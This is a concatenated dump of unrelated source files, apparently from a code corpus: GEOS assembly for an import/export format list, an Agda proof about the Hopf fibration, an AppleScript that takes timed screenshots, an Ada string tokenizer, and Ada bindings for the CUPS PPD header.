%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
DESCRIPTION: Put up appropriate UI and file spec for the selected format
PASS: *DS:SI = FormatList object
DS:DI = FormatList instance data
CX = Format selected (= which element in array)
RETURN: Nothing
DESTROYED: AX, BX, CX, DX, DI, SI, BP
PSEUDO CODE/STRATEGY:
Call our parent to deal with the selection
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jimmy 4/91 Initial version
don 5/92 Changed to let parent deal with it
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
FormatListSelectFormat method dynamic FormatListClass,
MSG_FORMAT_LIST_SELECT_FORMAT
.enter
; Pass this message on to our parent, after storing
; the actual format.
;
if not ALLOW_FLOPPY_BASED_LIBS
cmp cx, GIGS_NONE
je done
endif
mov ds:[di].FLI_currentFormat, cx
clr bp ; no "No Idea" choice
test ds:[di].FLI_attrs, mask FLA_NO_IDEA_PRESENT
jz sendToParent
dec ds:[di].FLI_currentFormat
dec bp ; yes, "No Idea" is present
sendToParent:
mov ax, MSG_IMPORT_EXPORT_SELECT_FORMAT
mov dx, ds:[di].FLI_formatInfo
call FormatListCallParent ; send message to our parent
done::
.leave
ret
FormatListSelectFormat endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
FormatListFetchFormatUI
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Returns the UI (if any) for the currently selected format
CALLED BY: GLOBAL (MSG_FORMAT_LIST_FETCH_FORMAT_UI)
PASS: *DS:SI = FormatListClass object
DS:DI = FormatListClassInstance
BP = Offset into ImpexFormatDescriptor
IFD_importUIFlag
IFD_exportUIFlag
DX = Translation library function to call
CX = Format #
RETURN: CX:DX = Format UI (CX = 0 indicates no UI)
BP = Library handle
Carry = Clear
- or -
Carry = Set
DESTROYED: AX, BX, DI, SI, DS, ES
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Don 5/27/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
FormatListFetchFormatUI method dynamic FormatListClass,
MSG_FORMAT_LIST_FETCH_FORMAT_UI
.enter
; First, let's see if there's any UI to get
;
segmov es, ds ; FormatList segment => ES
mov bx, ds:[di].FLI_formatInfo
call LockFormatDescriptor ; ImpexFormatDescriptor => DS:DI
clr cx ; assume no UI
cmp {word} ds:[di][bp], 0
je exit ; no UI, so we're done
; We have UI, so we need to load the library & ask for it
; We can't just look into the data we have stored away, as
; the handle we have has not been unrelocated.
;
push bx ; save FormatInfo handle
push di ; save offset to IFD
mov di, ds:[di].IFD_library
mov di, ds:[di] ; ImpexLibraryDescriptor=>DS:DI
call ImpexLoadLibrary ; library handle => BX
mov_tr ax, dx ; library function to call => AX
mov dx, di ; library name => DS:DX
pop di ; ImpexFormatDescriptor => DS:DI
jc errorLibrary ; if error, abort
mov cx, ds:[di].IFD_formatNumber
push bx ; save library handle
call ProcGetLibraryEntry
call ProcCallFixedOrMovable ; format UI => CX:DX
pop bp ; library handle => BP
clc ; indicate success
done:
pop bx ; FormatInfo handle => BX
exit:
call MemUnlock ; unlock FormatInfo
.leave
ret
; Display an error to the user
errorLibrary:
mov cx, ds ; library name => CX:DX
segmov ds, es ; FormatList segment => DS
mov bp, IE_COULD_NOT_LOAD_XLIB
call FormatListShowError ; display an error to user
mov cx, 0 ; no UI to display (carry=set)
jmp done
FormatListFetchFormatUI endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
*** Utitlities
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
FormatListCallParent
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Send a message to our controller parent via a CALL
CALLED BY: INTERNAL
PASS: AX = Message to send
CX,DX,BP= Data to send
DS = Object block segment
RETURN: see message declaration
DESTROYED: see message declaration (+ BX, SI, DI)
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Don 5/27/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
FormatListCallParent proc near
.enter
; Send the message off
;
call ObjBlockGetOutput
mov di, mask MF_CALL
call ObjMessage
.leave
ret
FormatListCallParent endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
GetDefaultFileMask
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Gets the default file mask string
CALLED BY: INTERNAL
PASS: BX = FormatInfo handle
CX = Format # to use
RETURN: CX:DX = NULL-terminated file mask string
BX = FormatInfo handle (now locked)
DESTROYED: Nothing
PSEUDO CODE/STRATEGY:
KNOWNN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jimmy 4/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
GetDefaultFileMask proc near
uses ax, di, si, ds
.enter
; Get appropriate element from array
;
call LockFormatDescriptor ; ImpexFormatDescriptor => DS:DI
mov cx, ds
mov dx, di
add dx, offset IFD_defaultFileMask
call UpcaseString ; make all characters upper-case
.leave
ret
GetDefaultFileMask endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
FormatListShowError
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Display an error by calling the parent Import/Export clas
object with a string to display
CALLED BY: INTERNAL
PASS: DS = Segment of FormatList object
BP = ImpexError
CX:DX = Optional string argument (NULL-terminated)
RETURN: Carry = Set
DESTROYED: Nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Don 5/29/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
FormatListShowError proc far
uses ax, bx, di, si
.enter
mov ax, MSG_IMPORT_EXPORT_SHOW_ERROR
call FormatListCallParent
stc
.leave
ret
FormatListShowError endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
LockFormatDescriptor
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Lock down a FormatDescriptor
CALLED BY: INTERNAL
PASS: BX = FormatInfo block handle
CX = Selected format => CX
RETURN: DS:DI = ImpexFormatDescriptor
DESTROYED: Nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Don 5/29/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
LockFormatDescriptor proc near
uses ax, cx, si
.enter
; Lock down the block, and do some dereferencing
;
call MemLock
mov ds, ax
mov si, ds:[FI_formats]
mov_tr ax, cx
call ChunkArrayElementToPtr ; chunk handle => DI
mov di, ds:[di] ; descriptor chunk => DI
mov di, ds:[di] ; descriptor => DS:DI
.leave
ret
LockFormatDescriptor endp
ImpexUICode ends
|
theorems/homotopy/Hopf.agda | mikeshulman/HoTT-Agda | 0 | 5771 | {-# OPTIONS --without-K --rewriting #-}
open import HoTT
open import homotopy.CircleHSpace
open import homotopy.JoinAssocCubical
open import homotopy.JoinSusp
module homotopy.Hopf where
import homotopy.HopfConstruction
module Hopf = homotopy.HopfConstruction S¹-conn ⊙S¹-hSpace
Hopf : S² → Type₀
Hopf = Hopf.H.f
Hopf-fiber : Hopf north == S¹
Hopf-fiber = idp
-- TODO Turn [Hopf.theorem] into an equivalence
Hopf-total : Σ _ Hopf ≃ S³
Hopf-total =
Σ _ Hopf ≃⟨ coe-equiv Hopf.theorem ⟩
S¹ * S¹ ≃⟨ *-Susp-l S⁰ S¹ ⟩
Susp (S⁰ * S¹) ≃⟨ Susp-emap (*-Bool-l S¹) ⟩
S³ ≃∎
|
screen-capture-time-lapse.applescript | nickrichter/screen-capture-time-lapse | 0 | 498 | <reponame>nickrichter/screen-capture-time-lapse<filename>screen-capture-time-lapse.applescript
(*
* Screen Capture Time-Lapse
* Version: 1.1
* https://github.com/nickrichter/screen-capture-time-lapse
*
* Copyright 2012 <NAME>
* Released under the MIT license
*
* Date: 2014-04-11
*)
-- Count the number of displays connected to the user's system
tell application "Image Events"
launch
-- Set a variable with the number of connected displays
set count_displays to count displays
quit
end tell
if count_displays > 1 then
set displays_question to display dialog "You have more than one monitor connected. Do you want to capture all monitors, or just the main monitor?" buttons {"Main Monitor Only", "Capture All"} default button 2
set capture_monitor to button returned of displays_question
(* The capture_monitor variable will be used later, as a flag, in the do shell script command
If the user selects Main Monitor Only, it will look something like this:
screencapture -xm
or
screencapture -x
If the user selects Capture All *)
if capture_monitor = "Main Monitor Only" then
set capture_monitor to "m"
else
set capture_monitor to ""
end if
else
set capture_monitor to ""
end if
-- Ask for image capture duration (in seconds)
set capture_interval to display dialog "Enter the time (in seconds) between captures.
Please Note: Unfortunately, due to a bug, you must force quit this app to stop it." default answer 60
set capture_interval to (text returned of result) as integer
-- Ask for a location to save images to
set save_location to choose folder with prompt "Choose a save location."
-- Format the chosen location so that we can more easily use it later
--set save_location to POSIX path of save_location
display dialog save_location
-- Start a loop that will take a screen capture
repeat
-- get current date, set series of variables to specific parts of date string
set {year:y, month:m, day:d, hours:h, minutes:n, seconds:s} to current date
-- Here is where we do some formatting to make for a better, image sequence friendly file name later on.
-- Create the date part of the file so that it looks like this YYYYMMDD.
-- To do that we need to coax the string parts from "current date" into being numbers.
-- You can do this simply by doing some math with it.
-- This gives us 20120000
set file_name_date to y * 10000
-- This gives us a month with a leading zero.
-- The result being 20120100
set file_name_date to file_name_date + m * 100
-- This adds the day with a leading zero.
-- The result being 20120109
set file_name_date to file_name_date + d * 1
-- Turn that into a string so we can concatenate it later
set file_name_date to file_name_date as string
-- This is the same process as above, this time being applied to the time of day
set file_name_time to h * 10000
set file_name_time to file_name_time + n * 100
set file_name_time to file_name_time + s * 1
set file_name_time to file_name_time as string
-- Set the file extension
set file_name_ext to ".png"
-- Take the file name part variables and create a nice file name.
-- The result will look like 20120124-113452.png
--set file_name to file_name_date & "-" & file_name_time & ".png"
if capture_monitor = "m" then
-- Set the variable file_name to the the full path to the file (used as a parameter in the shell script which is called later)
set file_name to save_location & file_name_date & "-" & file_name_time & file_name_ext
else
-- Create a temporary variable to hold onto some file path info while we loop
set tmp_name to ""
-- Set an iterator to put in the file name prefix "Monitor_1", "Monitor_2", etc.
set i to 0
-- Set the variable file_name to the base file name.
-- Will look like 20120124-113452.png
set file_name to ""
-- Start a loop that will iterate once for each connected display (determined above)
repeat count_displays times
set i to i + 1
-- Set the variable tmp_name to a unique value for each monitor
-- Will look like Monitor_1-20120124-113452.png
set tmp_name to save_location & "Monitor_" & i & "-" & file_name_date & "-" & file_name_time & file_name_ext
-- This is going to create a list of file names to put at the end of the shell script which fires later
set file_name to file_name & " " & tmp_name
end repeat
end if
-- Pause for user defined amount of time
delay capture_interval
-- Run the system screen capture shell script and put the file(s) in the user defined location (the -x flag kills the sound effects)
do shell script "screencapture -x" & capture_monitor & " " & file_name
end repeat
on quit
exit repeat
continue quit
end quit |
Task/Tokenize-a-string/Ada/tokenize-a-string.ada | mbirabhadra/RosettaCodeData | 1 | 5670 | <filename>Task/Tokenize-a-string/Ada/tokenize-a-string.ada
with Ada.Text_IO, Ada.Strings.Fixed, Ada.Containers.Indefinite_Vectors;
use Ada.Text_IO, Ada.Strings.Fixed, Ada.Containers;
procedure tokenize is
package String_Vector is new Indefinite_Vectors (Natural,String); use String_Vector;
procedure Parse (s : String; v : in out Vector) is
i : Integer := Index (s,",");
begin
if s'Length > 0 then
if i < s'First then
v.Append (s);
else
v.Append (s (s'First..i-1));
Parse ( s(i+1..s'Last), v);
end if;
end if;
end Parse;
v : Vector;
begin
Parse ("Hello,How,Are,You,Today,,",v);
for s of v loop
put(s&".");
end loop;
end tokenize;
|
src/gen/cups-cups_ppd_h.ads | persan/a-cups | 0 | 26014 | pragma Ada_2005;
pragma Style_Checks (Off);
with Interfaces.C; use Interfaces.C;
with Interfaces.C.Strings;
with System;
with CUPS.cups_cups_h;
limited with CUPS.stdio_h;
with Interfaces.C_Streams;
private package CUPS.cups_ppd_h is
PPD_VERSION : constant := 4.3; -- cups/ppd.h:67
PPD_MAX_NAME : constant := 41; -- cups/ppd.h:74
PPD_MAX_TEXT : constant := 81; -- cups/ppd.h:75
PPD_MAX_LINE : constant := 256; -- cups/ppd.h:76
-- * "$Id: ppd.h 11056 2013-06-25 14:27:30Z msweet $"
-- *
-- * PostScript Printer Description definitions for CUPS.
-- *
-- * THESE APIS ARE DEPRECATED. TO COMPILE WITHOUT WARNINGS ADD
-- * -D_PPD_DEPRECATED="" TO YOUR COMPILE OPTIONS. THIS HEADER AND THESE
-- * FUNCTIONS WILL BE REMOVED IN A FUTURE RELEASE OF CUPS.
-- *
-- * Copyright 2007-2013 by Apple Inc.
-- * Copyright 1997-2007 by Easy Software Products, all rights reserved.
-- *
-- * These coded instructions, statements, and computer programs are the
-- * property of Apple Inc. and are protected by Federal copyright
-- * law. Distribution and use rights are outlined in the file "LICENSE.txt"
-- * which should have been included with this file. If this file is
-- * file is missing or damaged, see the license at "http://www.cups.org/".
-- *
-- * PostScript is a trademark of Adobe Systems, Inc.
-- *
-- * This code and any derivative of it may be used and distributed
-- * freely under the terms of the GNU General Public License when
-- * used with GNU Ghostscript or its derivatives. Use of the code
-- * (or any derivative of it) with software other than GNU
-- * GhostScript (or its derivatives) is governed by the CUPS license
-- * agreement.
-- *
-- * This file is subject to the Apple OS-Developed Software exception.
--
-- * Include necessary headers...
--
-- * C++ magic...
--
-- * Define _PPD_DEPRECATED to silence the warnings about PPD functions being
-- * deprecated...
--
-- * PPD version...
--
-- * PPD size limits (defined in Adobe spec)
--
-- * Types and structures...
--
--*** UI Types ***
type ppd_ui_e is
(PPD_UI_BOOLEAN,
PPD_UI_PICKONE,
PPD_UI_PICKMANY);
pragma Convention (C, ppd_ui_e); -- cups/ppd.h:83
-- True or False option
-- Pick one from a list
-- Pick zero or more from a list
subtype ppd_ui_t is ppd_ui_e;
--*** Order dependency sections ***
type ppd_section_e is
(PPD_ORDER_ANY,
PPD_ORDER_DOCUMENT,
PPD_ORDER_EXIT,
PPD_ORDER_JCL,
PPD_ORDER_PAGE,
PPD_ORDER_PROLOG);
pragma Convention (C, ppd_section_e); -- cups/ppd.h:90
-- Option code can be anywhere in the file
-- ... must be in the DocumentSetup section
-- ... must be sent prior to the document
-- ... must be sent as a JCL command
-- ... must be in the PageSetup section
-- ... must be in the Prolog section
subtype ppd_section_t is ppd_section_e;
--*** Colorspaces ***
subtype ppd_cs_e is unsigned;
PPD_CS_CMYK : constant ppd_cs_e := -4;
PPD_CS_CMY : constant ppd_cs_e := -3;
PPD_CS_GRAY : constant ppd_cs_e := 1;
PPD_CS_RGB : constant ppd_cs_e := 3;
PPD_CS_RGBK : constant ppd_cs_e := 4;
PPD_CS_N : constant ppd_cs_e := 5; -- cups/ppd.h:100
-- CMYK colorspace
-- CMY colorspace
-- Grayscale colorspace
-- RGB colorspace
-- RGBK (K = gray) colorspace
-- DeviceN colorspace
subtype ppd_cs_t is ppd_cs_e;
--*** Status Codes @since CUPS 1.1.19/OS X 10.3@ ***
type ppd_status_e is
(PPD_OK,
PPD_FILE_OPEN_ERROR,
PPD_NULL_FILE,
PPD_ALLOC_ERROR,
PPD_MISSING_PPDADOBE4,
PPD_MISSING_VALUE,
PPD_INTERNAL_ERROR,
PPD_BAD_OPEN_GROUP,
PPD_NESTED_OPEN_GROUP,
PPD_BAD_OPEN_UI,
PPD_NESTED_OPEN_UI,
PPD_BAD_ORDER_DEPENDENCY,
PPD_BAD_UI_CONSTRAINTS,
PPD_MISSING_ASTERISK,
PPD_LINE_TOO_LONG,
PPD_ILLEGAL_CHARACTER,
PPD_ILLEGAL_MAIN_KEYWORD,
PPD_ILLEGAL_OPTION_KEYWORD,
PPD_ILLEGAL_TRANSLATION,
PPD_ILLEGAL_WHITESPACE,
PPD_BAD_CUSTOM_PARAM,
PPD_MISSING_OPTION_KEYWORD,
PPD_BAD_VALUE,
PPD_MISSING_CLOSE_GROUP,
PPD_MAX_STATUS);
pragma Convention (C, ppd_status_e); -- cups/ppd.h:110
-- OK
-- Unable to open PPD file
-- NULL PPD file pointer
-- Memory allocation error
-- Missing PPD-Adobe-4.x header
-- Missing value string
-- Internal error
-- Bad OpenGroup
-- OpenGroup without a CloseGroup first
-- Bad OpenUI/JCLOpenUI
-- OpenUI/JCLOpenUI without a CloseUI/JCLCloseUI first
-- Bad OrderDependency
-- Bad UIConstraints
-- Missing asterisk in column 0
-- Line longer than 255 chars
-- Illegal control character
-- Illegal main keyword string
-- Illegal option keyword string
-- Illegal translation string
-- Illegal whitespace character
-- Bad custom parameter
-- Missing option keyword
-- Bad value string
-- Missing CloseGroup
-- @private@
subtype ppd_status_t is ppd_status_e;
--*** Conformance Levels @since CUPS 1.1.19/OS X 10.3@ ***
type ppd_conform_e is
(PPD_CONFORM_RELAXED,
PPD_CONFORM_STRICT);
pragma Convention (C, ppd_conform_e); -- cups/ppd.h:139
-- Relax whitespace and control char
-- Require strict conformance
subtype ppd_conform_t is ppd_conform_e;
--*** Conformance Levels @since CUPS 1.1.19/OS X 10.3@ ***
--*** PPD Attribute Structure @since CUPS 1.1.19/OS X 10.3@ ***
-- Name of attribute (cupsXYZ)
subtype ppd_attr_s_name_array is Interfaces.C.char_array (0 .. 40);
subtype ppd_attr_s_spec_array is Interfaces.C.char_array (0 .. 40);
subtype ppd_attr_s_text_array is Interfaces.C.char_array (0 .. 80);
type ppd_attr_s is record
name : aliased ppd_attr_s_name_array; -- cups/ppd.h:150
spec : aliased ppd_attr_s_spec_array; -- cups/ppd.h:151
text : aliased ppd_attr_s_text_array; -- cups/ppd.h:152
value : Interfaces.C.Strings.chars_ptr; -- cups/ppd.h:153
end record;
pragma Convention (C_Pass_By_Copy, ppd_attr_s); -- cups/ppd.h:148
-- Specifier string, if any
-- Human-readable text, if any
-- Value string
subtype ppd_attr_t is ppd_attr_s;
type ppd_option_s;
subtype ppd_option_s_keyword_array is Interfaces.C.char_array (0 .. 40);
subtype ppd_option_s_defchoice_array is Interfaces.C.char_array (0 .. 40);
subtype ppd_option_s_text_array is Interfaces.C.char_array (0 .. 80);
subtype ppd_option_t is ppd_option_s;
--*** Options ***
--*** Option choices ***
-- 0 if not selected, 1 otherwise
subtype ppd_choice_s_choice_array is Interfaces.C.char_array (0 .. 40);
subtype ppd_choice_s_text_array is Interfaces.C.char_array (0 .. 80);
type ppd_choice_s is record
marked : aliased char; -- cups/ppd.h:161
choice : aliased ppd_choice_s_choice_array; -- cups/ppd.h:162
text : aliased ppd_choice_s_text_array; -- cups/ppd.h:163
code : Interfaces.C.Strings.chars_ptr; -- cups/ppd.h:164
option : access ppd_option_t; -- cups/ppd.h:165
end record;
pragma Convention (C_Pass_By_Copy, ppd_choice_s); -- cups/ppd.h:159
-- Computer-readable option name
-- Human-readable option name
-- Code to send for this option
-- Pointer to parent option structure
subtype ppd_choice_t is ppd_choice_s;
--*** Options ***
-- 0 if no conflicts exist, 1 otherwise
type ppd_option_s is record
conflicted : aliased char; -- cups/ppd.h:170
keyword : aliased ppd_option_s_keyword_array; -- cups/ppd.h:171
defchoice : aliased ppd_option_s_defchoice_array; -- cups/ppd.h:172
text : aliased ppd_option_s_text_array; -- cups/ppd.h:173
ui : aliased ppd_ui_t; -- cups/ppd.h:174
section : aliased ppd_section_t; -- cups/ppd.h:175
order : aliased float; -- cups/ppd.h:176
num_choices : aliased int; -- cups/ppd.h:177
choices : access ppd_choice_t; -- cups/ppd.h:178
end record;
pragma Convention (C_Pass_By_Copy, ppd_option_s); -- cups/ppd.h:168
-- Option keyword name ("PageSize", etc.)
-- Default option choice
-- Human-readable text
-- Type of UI option
-- Section for command
-- Order number
-- Number of option choices
-- Option choices
--*** Groups ***
--*** Group text strings are limited to 39 chars + nul in order to
-- **** preserve binary compatibility and allow applications to get
-- **** the group's keyword name.
-- ***
subtype ppd_group_s_text_array is Interfaces.C.char_array (0 .. 39);
subtype ppd_group_s_name_array is Interfaces.C.char_array (0 .. 40);
type ppd_group_s is record
text : aliased ppd_group_s_text_array; -- cups/ppd.h:187
name : aliased ppd_group_s_name_array; -- cups/ppd.h:189
num_options : aliased int; -- cups/ppd.h:190
options : access ppd_option_t; -- cups/ppd.h:191
num_subgroups : aliased int; -- cups/ppd.h:192
subgroups : access ppd_group_s; -- cups/ppd.h:193
end record;
pragma Convention (C_Pass_By_Copy, ppd_group_s); -- cups/ppd.h:181
-- Human-readable group name
-- Group name @since CUPS 1.1.18/OS X 10.3@
-- Number of options
-- Options
-- Number of sub-groups
-- Sub-groups (max depth = 1)
subtype ppd_group_t is ppd_group_s;
--*** Constraints ***
-- First keyword
subtype ppd_const_s_option1_array is Interfaces.C.char_array (0 .. 40);
subtype ppd_const_s_choice1_array is Interfaces.C.char_array (0 .. 40);
subtype ppd_const_s_option2_array is Interfaces.C.char_array (0 .. 40);
subtype ppd_const_s_choice2_array is Interfaces.C.char_array (0 .. 40);
type ppd_const_s is record
option1 : aliased ppd_const_s_option1_array; -- cups/ppd.h:198
choice1 : aliased ppd_const_s_choice1_array; -- cups/ppd.h:199
option2 : aliased ppd_const_s_option2_array; -- cups/ppd.h:200
choice2 : aliased ppd_const_s_choice2_array; -- cups/ppd.h:201
end record;
pragma Convention (C_Pass_By_Copy, ppd_const_s); -- cups/ppd.h:196
-- First option/choice (blank for all)
-- Second keyword
-- Second option/choice (blank for all)
subtype ppd_const_t is ppd_const_s;
--*** Page Sizes ***
-- Page size selected?
subtype ppd_size_s_name_array is Interfaces.C.char_array (0 .. 40);
type ppd_size_s is record
marked : aliased int; -- cups/ppd.h:206
name : aliased ppd_size_s_name_array; -- cups/ppd.h:207
width : aliased float; -- cups/ppd.h:208
length : aliased float; -- cups/ppd.h:209
left : aliased float; -- cups/ppd.h:210
bottom : aliased float; -- cups/ppd.h:211
right : aliased float; -- cups/ppd.h:212
top : aliased float; -- cups/ppd.h:213
end record;
pragma Convention (C_Pass_By_Copy, ppd_size_s); -- cups/ppd.h:204
-- Media size option
-- Width of media in points
-- Length of media in points
-- Left printable margin in points
-- Bottom printable margin in points
-- Right printable margin in points
-- Top printable margin in points
subtype ppd_size_t is ppd_size_s;
--*** Emulators ***
-- Emulator name
subtype ppd_emul_s_name_array is Interfaces.C.char_array (0 .. 40);
type ppd_emul_s is record
name : aliased ppd_emul_s_name_array; -- cups/ppd.h:218
start : Interfaces.C.Strings.chars_ptr; -- cups/ppd.h:219
stop : Interfaces.C.Strings.chars_ptr; -- cups/ppd.h:220
end record;
pragma Convention (C_Pass_By_Copy, ppd_emul_s); -- cups/ppd.h:216
-- Code to switch to this emulation
-- Code to stop this emulation
subtype ppd_emul_t is ppd_emul_s;
--*** sRGB Color Profiles ***
subtype ppd_profile_s_resolution_array is Interfaces.C.char_array (0 .. 40);
subtype ppd_profile_s_media_type_array is Interfaces.C.char_array (0 .. 40);
type ppd_profile_s_matrix_array is array (0 .. 2, 0 .. 2) of aliased float;
type ppd_profile_s is record
resolution : aliased ppd_profile_s_resolution_array; -- cups/ppd.h:225
media_type : aliased ppd_profile_s_media_type_array; -- cups/ppd.h:227
density : aliased float; -- cups/ppd.h:229
gamma : aliased float; -- cups/ppd.h:230
matrix : aliased ppd_profile_s_matrix_array; -- cups/ppd.h:231
end record;
pragma Convention (C_Pass_By_Copy, ppd_profile_s); -- cups/ppd.h:223
-- Resolution or "-"
-- Media type or "-"
-- Ink density to use
-- Gamma correction to use
-- Transform matrix
subtype ppd_profile_t is ppd_profile_s;
--*** New in CUPS 1.2/OS X 10.5 ***
--*** Custom Parameter Type @since CUPS 1.2/OS X 10.5@ ***
type ppd_cptype_e is
(PPD_CUSTOM_CURVE,
PPD_CUSTOM_INT,
PPD_CUSTOM_INVCURVE,
PPD_CUSTOM_PASSCODE,
PPD_CUSTOM_PASSWORD,
PPD_CUSTOM_POINTS,
PPD_CUSTOM_REAL,
PPD_CUSTOM_STRING);
pragma Convention (C, ppd_cptype_e); -- cups/ppd.h:235
-- Curve value for f(x) = x^value
-- Integer number value
-- Curve value for f(x) = x^(1/value)
-- String of (hidden) numbers
-- String of (hidden) characters
-- Measurement value in points
-- Real number value
-- String of characters
subtype ppd_cptype_t is ppd_cptype_e;
--*** Custom Parameter Limit @since CUPS 1.2/OS X 10.5@ ***
-- Gamma value
type ppd_cplimit_u (discr : unsigned := 0) is record
case discr is
when 0 =>
custom_curve : aliased float; -- cups/ppd.h:249
when 1 =>
custom_int : aliased int; -- cups/ppd.h:250
when 2 =>
custom_invcurve : aliased float; -- cups/ppd.h:251
when 3 =>
custom_passcode : aliased int; -- cups/ppd.h:252
when 4 =>
custom_password : aliased int; -- cups/ppd.h:253
when 5 =>
custom_points : aliased float; -- cups/ppd.h:254
when 6 =>
custom_real : aliased float; -- cups/ppd.h:255
when others =>
custom_string : aliased int; -- cups/ppd.h:256
end case;
end record;
pragma Convention (C_Pass_By_Copy, ppd_cplimit_u);
pragma Unchecked_Union (ppd_cplimit_u); -- cups/ppd.h:247
-- Integer value
-- Gamma value
-- Passcode length
-- Password length
-- Measurement value
-- Real value
-- String length
subtype ppd_cplimit_t is ppd_cplimit_u;
--*** Custom Parameter Value @since CUPS 1.2/OS X 10.5@ ***
-- Gamma value
type ppd_cpvalue_u (discr : unsigned := 0) is record
case discr is
when 0 =>
custom_curve : aliased float; -- cups/ppd.h:261
when 1 =>
custom_int : aliased int; -- cups/ppd.h:262
when 2 =>
custom_invcurve : aliased float; -- cups/ppd.h:263
when 3 =>
custom_passcode : Interfaces.C.Strings.chars_ptr; -- cups/ppd.h:264
when 4 =>
custom_password : Interfaces.C.Strings.chars_ptr; -- cups/ppd.h:265
when 5 =>
custom_points : aliased float; -- cups/ppd.h:266
when 6 =>
custom_real : aliased float; -- cups/ppd.h:267
when others =>
custom_string : Interfaces.C.Strings.chars_ptr; -- cups/ppd.h:268
end case;
end record;
pragma Convention (C_Pass_By_Copy, ppd_cpvalue_u);
pragma Unchecked_Union (ppd_cpvalue_u); -- cups/ppd.h:259
-- Integer value
-- Gamma value
-- Passcode value
-- Password value
-- Measurement value
-- Real value
-- String value
subtype ppd_cpvalue_t is ppd_cpvalue_u;
--*** Custom Parameter @since CUPS 1.2/OS X 10.5@ ***
-- Parameter name
subtype ppd_cparam_s_name_array is Interfaces.C.char_array (0 .. 40);
subtype ppd_cparam_s_text_array is Interfaces.C.char_array (0 .. 80);
type ppd_cparam_s is record
name : aliased ppd_cparam_s_name_array; -- cups/ppd.h:273
text : aliased ppd_cparam_s_text_array; -- cups/ppd.h:274
order : aliased int; -- cups/ppd.h:275
c_type : aliased ppd_cptype_t; -- cups/ppd.h:276
minimum : aliased ppd_cplimit_t; -- cups/ppd.h:277
maximum : aliased ppd_cplimit_t; -- cups/ppd.h:278
current : aliased ppd_cpvalue_t; -- cups/ppd.h:279
end record;
pragma Convention (C_Pass_By_Copy, ppd_cparam_s); -- cups/ppd.h:271
-- Human-readable text
-- Order (0 to N)
-- Parameter type
-- Minimum value
-- Maximum value
-- Current value
subtype ppd_cparam_t is ppd_cparam_s;
--*** Custom Option @since CUPS 1.2/OS X 10.5@ ***
-- Name of option that is being extended...
subtype ppd_coption_s_keyword_array is Interfaces.C.char_array (0 .. 40);
type ppd_coption_s is record
keyword : aliased ppd_coption_s_keyword_array; -- cups/ppd.h:284
option : access ppd_option_t; -- cups/ppd.h:285
marked : aliased int; -- cups/ppd.h:286
params : System.Address; -- cups/ppd.h:287
end record;
pragma Convention (C_Pass_By_Copy, ppd_coption_s); -- cups/ppd.h:282
-- Option that is being extended...
-- Extended option is marked
-- Parameters
subtype ppd_coption_t is ppd_coption_s;
-- skipped empty struct u_ppd_cache_s
-- skipped empty struct u_ppd_cache_t
--*** PPD cache and mapping data @since CUPS 1.5/OS X 10.7@ @private@ ***
--*** PPD File ***
-- Language level of device
